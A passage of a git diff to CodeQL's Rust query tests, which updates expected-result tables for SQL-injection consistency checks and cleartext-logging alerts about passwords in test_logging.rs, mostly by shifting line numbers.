sqlx.rs:51:24:51:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | multipleCanonicalPaths | file://:0:0:0:0 | fn encode | file://:0:0:0:0 | Crate(core@0.0.0) | ::encode | | file://:0:0:0:0 | fn encode | file://:0:0:0:0 | Crate(core@0.0.0) | ::encode | diff --git a/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/TypeInferenceConsistency.expected b/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/TypeInferenceConsistency.expected deleted file mode 100644 index 9bd56449240..00000000000 --- a/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/TypeInferenceConsistency.expected +++ /dev/null @@ -1,3 +0,0 @@ -illFormedTypeMention -| sqlx.rs:158:13:158:81 | ...::BoxDynError | -| sqlx.rs:160:17:160:86 | ...::BoxDynError | diff --git a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected index 594834bca1f..e6ccfbddcc4 100644 --- a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected +++ b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected @@ -1,508 +1,537 @@ #select +| test_logging.rs:42:5:42:36 | ...::log | test_logging.rs:42:28:42:35 | password | test_logging.rs:42:5:42:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:42:28:42:35 | password | password | | test_logging.rs:43:5:43:36 | ...::log | test_logging.rs:43:28:43:35 | password | test_logging.rs:43:5:43:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:43:28:43:35 | password | password | -| test_logging.rs:44:5:44:36 | ...::log | test_logging.rs:44:28:44:35 | password | test_logging.rs:44:5:44:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:44:28:44:35 | password | password | -| test_logging.rs:45:5:45:35 | ...::log | test_logging.rs:45:27:45:34 | password | test_logging.rs:45:5:45:35 | ...::log | This operation writes $@ to a log file. | test_logging.rs:45:27:45:34 | password | password | -| test_logging.rs:46:5:46:36 | ...::log | test_logging.rs:46:28:46:35 | password | test_logging.rs:46:5:46:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:46:28:46:35 | password | password | -| test_logging.rs:47:5:47:35 | ...::log | test_logging.rs:47:27:47:34 | password | test_logging.rs:47:5:47:35 | ...::log | This operation writes $@ to a log file. | test_logging.rs:47:27:47:34 | password | password | -| test_logging.rs:48:5:48:48 | ...::log | test_logging.rs:48:40:48:47 | password | test_logging.rs:48:5:48:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:48:40:48:47 | password | password | -| test_logging.rs:53:5:53:36 | ...::log | test_logging.rs:53:28:53:35 | password | test_logging.rs:53:5:53:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:53:28:53:35 | password | password | -| test_logging.rs:55:5:55:49 | ...::log | test_logging.rs:55:41:55:48 | password | test_logging.rs:55:5:55:49 | ...::log | This operation writes $@ to a log file. | test_logging.rs:55:41:55:48 | password | password | -| test_logging.rs:57:5:57:47 | ...::log | test_logging.rs:57:39:57:46 | password | test_logging.rs:57:5:57:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:57:39:57:46 | password | password | -| test_logging.rs:58:5:58:34 | ...::log | test_logging.rs:58:24:58:31 | password | test_logging.rs:58:5:58:34 | ...::log | This operation writes $@ to a log file. | test_logging.rs:58:24:58:31 | password | password | -| test_logging.rs:59:5:59:36 | ...::log | test_logging.rs:59:24:59:31 | password | test_logging.rs:59:5:59:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:59:24:59:31 | password | password | -| test_logging.rs:61:5:61:54 | ...::log | test_logging.rs:61:46:61:53 | password | test_logging.rs:61:5:61:54 | ...::log | This operation writes $@ to a log file. | test_logging.rs:61:46:61:53 | password | password | -| test_logging.rs:62:5:62:55 | ...::log | test_logging.rs:62:21:62:28 | password | test_logging.rs:62:5:62:55 | ...::log | This operation writes $@ to a log file. | test_logging.rs:62:21:62:28 | password | password | -| test_logging.rs:66:5:66:48 | ...::log | test_logging.rs:66:40:66:47 | password | test_logging.rs:66:5:66:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:66:40:66:47 | password | password | -| test_logging.rs:68:5:68:66 | ...::log | test_logging.rs:68:58:68:65 | password | test_logging.rs:68:5:68:66 | ...::log | This operation writes $@ to a log file. | test_logging.rs:68:58:68:65 | password | password | -| test_logging.rs:69:5:69:67 | ...::log | test_logging.rs:69:19:69:26 | password | test_logging.rs:69:5:69:67 | ...::log | This operation writes $@ to a log file. | test_logging.rs:69:19:69:26 | password | password | -| test_logging.rs:73:5:73:47 | ...::log | test_logging.rs:73:39:73:46 | password | test_logging.rs:73:5:73:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:73:39:73:46 | password | password | -| test_logging.rs:75:5:75:65 | ...::log | test_logging.rs:75:57:75:64 | password | test_logging.rs:75:5:75:65 | ...::log | This operation writes $@ to a log file. | test_logging.rs:75:57:75:64 | password | password | -| test_logging.rs:76:5:76:51 | ...::log | test_logging.rs:76:21:76:28 | password | test_logging.rs:76:5:76:51 | ...::log | This operation writes $@ to a log file. | test_logging.rs:76:21:76:28 | password | password | -| test_logging.rs:77:5:77:47 | ...::log | test_logging.rs:77:39:77:46 | password | test_logging.rs:77:5:77:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:77:39:77:46 | password | password | -| test_logging.rs:83:5:83:44 | ...::log | test_logging.rs:83:36:83:43 | password | test_logging.rs:83:5:83:44 | ...::log | This operation writes $@ to a log file. | test_logging.rs:83:36:83:43 | password | password | -| test_logging.rs:85:5:85:62 | ...::log | test_logging.rs:85:54:85:61 | password | test_logging.rs:85:5:85:62 | ...::log | This operation writes $@ to a log file. | test_logging.rs:85:54:85:61 | password | password | -| test_logging.rs:86:5:86:48 | ...::log | test_logging.rs:86:21:86:28 | password | test_logging.rs:86:5:86:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:86:21:86:28 | password | password | -| test_logging.rs:87:5:87:44 | ...::log | test_logging.rs:87:36:87:43 | password | test_logging.rs:87:5:87:44 | ...::log | This operation writes $@ to a log file. | test_logging.rs:87:36:87:43 | password | password | -| test_logging.rs:95:5:95:29 | ...::log | test_logging.rs:94:15:94:22 | password | test_logging.rs:95:5:95:29 | ...::log | This operation writes $@ to a log file. | test_logging.rs:94:15:94:22 | password | password | -| test_logging.rs:98:5:98:19 | ...::log | test_logging.rs:97:42:97:49 | password | test_logging.rs:98:5:98:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:97:42:97:49 | password | password | -| test_logging.rs:101:5:101:19 | ...::log | test_logging.rs:100:38:100:45 | password | test_logging.rs:101:5:101:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:100:38:100:45 | password | password | -| test_logging.rs:119:5:119:42 | ...::log | test_logging.rs:119:28:119:41 | get_password(...) | test_logging.rs:119:5:119:42 | ...::log | This operation writes $@ to a log file. | test_logging.rs:119:28:119:41 | get_password(...) | get_password(...) | -| test_logging.rs:132:5:132:32 | ...::log | test_logging.rs:130:25:130:32 | password | test_logging.rs:132:5:132:32 | ...::log | This operation writes $@ to a log file. | test_logging.rs:130:25:130:32 | password | password | -| test_logging.rs:139:5:139:38 | ...::log | test_logging.rs:139:27:139:37 | s1.password | test_logging.rs:139:5:139:38 | ...::log | This operation writes $@ to a log file. | test_logging.rs:139:27:139:37 | s1.password | s1.password | -| test_logging.rs:146:5:146:38 | ...::log | test_logging.rs:146:27:146:37 | s2.password | test_logging.rs:146:5:146:38 | ...::log | This operation writes $@ to a log file. | test_logging.rs:146:27:146:37 | s2.password | s2.password | -| test_logging.rs:171:22:171:31 | log_expect | test_logging.rs:171:70:171:78 | password2 | test_logging.rs:171:22:171:31 | log_expect | This operation writes $@ to a log file. | test_logging.rs:171:70:171:78 | password2 | password2 | -| test_logging.rs:175:24:175:33 | log_expect | test_logging.rs:175:72:175:80 | password2 | test_logging.rs:175:24:175:33 | log_expect | This operation writes $@ to a log file. | test_logging.rs:175:72:175:80 | password2 | password2 | -| test_logging.rs:183:25:183:34 | log_unwrap | test_logging.rs:182:51:182:59 | password2 | test_logging.rs:183:25:183:34 | log_unwrap | This operation writes $@ to a log file. | test_logging.rs:182:51:182:59 | password2 | password2 | -| test_logging.rs:187:5:187:38 | ...::_print | test_logging.rs:187:30:187:37 | password | test_logging.rs:187:5:187:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:187:30:187:37 | password | password | -| test_logging.rs:188:5:188:38 | ...::_print | test_logging.rs:188:30:188:37 | password | test_logging.rs:188:5:188:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:188:30:188:37 | password | password | -| test_logging.rs:189:5:189:39 | ...::_eprint | test_logging.rs:189:31:189:38 | password | test_logging.rs:189:5:189:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:189:31:189:38 | password | password | -| test_logging.rs:190:5:190:39 | ...::_eprint | test_logging.rs:190:31:190:38 | password | test_logging.rs:190:5:190:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:190:31:190:38 | password | password | -| test_logging.rs:193:16:193:47 | ...::panic_fmt | test_logging.rs:193:39:193:46 | password | test_logging.rs:193:16:193:47 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:193:39:193:46 | password | password | -| test_logging.rs:194:16:194:46 | ...::panic_fmt | test_logging.rs:194:38:194:45 | password | test_logging.rs:194:16:194:46 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:194:38:194:45 | password | password | -| test_logging.rs:195:16:195:55 | ...::panic_fmt | test_logging.rs:195:47:195:54 | password | test_logging.rs:195:16:195:55 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:195:47:195:54 | password | password | -| test_logging.rs:196:16:196:53 | ...::panic_fmt | test_logging.rs:196:45:196:52 | password | test_logging.rs:196:16:196:53 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:196:45:196:52 | password | password | -| test_logging.rs:197:16:197:55 | ...::panic_fmt | test_logging.rs:197:47:197:54 | password | test_logging.rs:197:16:197:55 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:197:47:197:54 | password | password | -| test_logging.rs:198:16:198:57 | ...::assert_failed | test_logging.rs:198:49:198:56 | password | test_logging.rs:198:16:198:57 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:198:49:198:56 | password | password | -| test_logging.rs:199:16:199:57 | ...::assert_failed | test_logging.rs:199:49:199:56 | password | test_logging.rs:199:16:199:57 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:199:49:199:56 | password | password | -| test_logging.rs:200:16:200:61 | ...::panic_fmt | test_logging.rs:200:53:200:60 | password | test_logging.rs:200:16:200:61 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:200:53:200:60 | password | password | -| test_logging.rs:201:16:201:63 | ...::assert_failed | test_logging.rs:201:55:201:62 | password | test_logging.rs:201:16:201:63 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:201:55:201:62 | password | password | -| test_logging.rs:202:17:202:64 | ...::assert_failed | test_logging.rs:202:56:202:63 | password | test_logging.rs:202:17:202:64 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:202:56:202:63 | password | password | -| test_logging.rs:203:27:203:32 | expect | test_logging.rs:203:58:203:65 | password | test_logging.rs:203:27:203:32 | expect | This operation writes $@ to a log file. | test_logging.rs:203:58:203:65 | password | password | -| test_logging.rs:209:30:209:34 | write | test_logging.rs:209:62:209:69 | password | test_logging.rs:209:30:209:34 | write | This operation writes $@ to a log file. | test_logging.rs:209:62:209:69 | password | password | -| test_logging.rs:210:30:210:38 | write_all | test_logging.rs:210:66:210:73 | password | test_logging.rs:210:30:210:38 | write_all | This operation writes $@ to a log file. | test_logging.rs:210:66:210:73 | password | password | -| test_logging.rs:213:9:213:13 | write | test_logging.rs:213:41:213:48 | password | test_logging.rs:213:9:213:13 | write | This operation writes $@ to a log file. | test_logging.rs:213:41:213:48 | password | password | -| test_logging.rs:216:9:216:13 | write | test_logging.rs:216:41:216:48 | password | test_logging.rs:216:9:216:13 | write | This operation writes $@ to a log file. | test_logging.rs:216:41:216:48 | password | password | +| test_logging.rs:44:5:44:35 | ...::log | test_logging.rs:44:27:44:34 | password | test_logging.rs:44:5:44:35 | ...::log | This operation writes $@ to a log file. | test_logging.rs:44:27:44:34 | password | password | +| test_logging.rs:45:5:45:36 | ...::log | test_logging.rs:45:28:45:35 | password | test_logging.rs:45:5:45:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:45:28:45:35 | password | password | +| test_logging.rs:46:5:46:35 | ...::log | test_logging.rs:46:27:46:34 | password | test_logging.rs:46:5:46:35 | ...::log | This operation writes $@ to a log file. | test_logging.rs:46:27:46:34 | password | password | +| test_logging.rs:47:5:47:48 | ...::log | test_logging.rs:47:40:47:47 | password | test_logging.rs:47:5:47:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:47:40:47:47 | password | password | +| test_logging.rs:52:5:52:36 | ...::log | test_logging.rs:52:28:52:35 | password | test_logging.rs:52:5:52:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:52:28:52:35 | password | password | +| test_logging.rs:54:5:54:49 | ...::log | test_logging.rs:54:41:54:48 | password | test_logging.rs:54:5:54:49 | ...::log | This operation writes $@ to a log file. | test_logging.rs:54:41:54:48 | password | password | +| test_logging.rs:56:5:56:47 | ...::log | test_logging.rs:56:39:56:46 | password | test_logging.rs:56:5:56:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:56:39:56:46 | password | password | +| test_logging.rs:57:5:57:34 | ...::log | test_logging.rs:57:24:57:31 | password | test_logging.rs:57:5:57:34 | ...::log | This operation writes $@ to a log file. | test_logging.rs:57:24:57:31 | password | password | +| test_logging.rs:58:5:58:36 | ...::log | test_logging.rs:58:24:58:31 | password | test_logging.rs:58:5:58:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:58:24:58:31 | password | password | +| test_logging.rs:60:5:60:54 | ...::log | test_logging.rs:60:46:60:53 | password | test_logging.rs:60:5:60:54 | ...::log | This operation writes $@ to a log file. | test_logging.rs:60:46:60:53 | password | password | +| test_logging.rs:61:5:61:55 | ...::log | test_logging.rs:61:21:61:28 | password | test_logging.rs:61:5:61:55 | ...::log | This operation writes $@ to 